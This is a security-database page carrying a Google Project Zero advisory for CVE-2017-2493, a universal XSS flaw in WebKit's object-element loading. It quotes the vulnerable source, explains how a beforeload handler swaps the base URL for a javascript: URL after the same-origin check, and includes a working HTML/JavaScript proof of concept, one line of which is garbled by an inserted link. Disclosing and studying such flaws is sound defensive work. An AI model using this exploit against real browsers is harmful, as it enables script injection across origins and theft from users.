WebKit HTMLObjectElement::updateWidget Universal XSS

🗓️ 25 May 2017 00:00:00Reported by Google Security ResearchType

packetstorm🔗 packetstormsecurity.com👁 58 Views

WebKit HTMLObjectElement::updateWidget Universal XSS CVE-2017-2493 vulnerabilit

Reporter	Title	Published	Views	Family All 23
Apple	About the security content of iTunes 12.6 for Windows	21 Mar 201700:00	–	apple
Apple	About the security content of iCloud for Windows 6.2	28 Mar 201700:00	–	apple
Apple	About the security content of iOS 10.3	27 Mar 201700:00	–	apple
Apple	About the security content of Safari 10.1	27 Mar 201700:00	–	apple
Apple	About the security content of tvOS 10.2	27 Mar 201700:00	–	apple
Apple	About the security content of iTunes 12.6 for Windows - Apple Support	11 Dec 201711:38	–	apple
Apple	About the security content of Safari 10.1 - Apple Support	29 Aug 201702:51	–	apple
Apple	About the security content of tvOS 10.2 - Apple Support	20 Jun 201710:43	–	apple
Apple	About the security content of iCloud for Windows 6.2 - Apple Support	24 Apr 201706:47	–	apple
Apple	About the security content of iOS 10.3 - Apple Support	1 Aug 201706:52	–	apple

` WebKit: UXSS through HTMLObjectElement::updateWidget   
  
CVE-2017-2493  
  
  
When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.  
  
Here's some snippets of the logic.  
  
void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)  
{  
...  
String url = this->url();   
...  
if (!allowedToLoadFrameURL(url))  
return;  
...  
  
bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);  
...  
  
bool success = beforeLoadAllowedLoad && hasValidClassId();  
if (success)  
success = requestObject(url, serviceType, paramNames, paramValues);  
...  
}  
  
bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)  
{  
URL completeURL = document().completeURL(url);  
if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))  
return false;  
return document().frame()->isURLAllowed(completeURL);  
}  
  
bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)  
{  
if (m_pluginReplacement)  
return true;  
  
URL completedURL;  
if (!url.isEmpty())  
completedURL = document().completeURL(url);  
  
ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);  
if (!replacement || !replacement->isEnabledBySettings(document().settings()))  
return false;  
  
LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());  
  
m_pluginReplacement = replacement->create(*this, paramNames, paramValues);  
setDisplayState(PreparingPluginReplacement);  
return true;  
}  
  
The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.  
  
What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.  
  
Tested on Safari 10.0.3(12602.4.8).  
  
PoC:  
  
<html>  
<head>  
</head>  
<body>  
<script>  
  
let o = document.body.appendChild(document.createElement('object'));  
o.onload = () => {  
o.onload = null;  
  
o.onbeforeload = () => {  
o.onbeforeload = null;  
  
let b = document.head.appendChild(document.createElement('base'));  
b.href = 'javascript:///%0aalert(location);//';  
};  
o.data = 'xxxxx';  
};  
  
o.type = 'text/html';  
o.data = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>  
  
</script>  
</body>  
</html>  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

25 May 2017 00:00Current

7.5High risk

Vulners AI Score7.5

EPSS0.00267